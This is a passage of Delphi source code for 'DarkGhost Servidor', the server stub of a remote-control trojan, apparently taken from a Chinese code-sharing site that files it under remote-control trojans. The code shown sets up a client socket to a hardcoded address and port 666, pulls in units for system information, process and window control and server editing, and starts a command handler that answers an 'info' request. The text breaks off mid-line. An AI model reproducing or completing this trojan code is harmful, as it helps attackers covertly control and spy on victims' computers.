darkghostservidor.dpr

来自「远程控制辕马」· DPR 代码 · 共 50 行

//DarkGhost Servidor
program DarkGhostServidor;

uses
  scktcomp,
  windows,
  Dialogs,
  SysUtils,
  Forms,
  Messages,
  UnitInformacionDelSistema,
  UnitProcesos,
  UnitVentanas,
  UnitEditServer;

Type
TDarkGhostServidor = Class(TObject)

Public
procedure ErrorCode(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;var ErrorCode: Integer);
procedure Receive(Sender: TObject; Socket: TCustomWinSocket);
end;

var
  DarkGhostServer: TDarkghostServidor;
  Cliente: TClientSocket;
  TimerHandle:WORD;
  Msg : Tmsg;
  ip: string = '127.0.0.1';
  port: string = '666';
  version: string = '1.0';


procedure TDarkGhostServidor.ErrorCode(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;var ErrorCode: Integer);
begin
ErrorCode := 0;
end;

procedure TDarkGhostServidor.Receive(Sender: TObject; Socket: TCustomWinSocket);
var
date: string;
tipo, botones, cuerpo, titulo, respuestam: string;  //variables para los mensajes
 newm: integer; //para crear un nuevo mensaje
 handle, newtitle: string; //Variables q utilizamos para cambiar el titulo de una ventana
begin
date := socket.ReceiveText;

if date = 'info' then
begin
socket.SendText('info'+socket.LocalAddress+'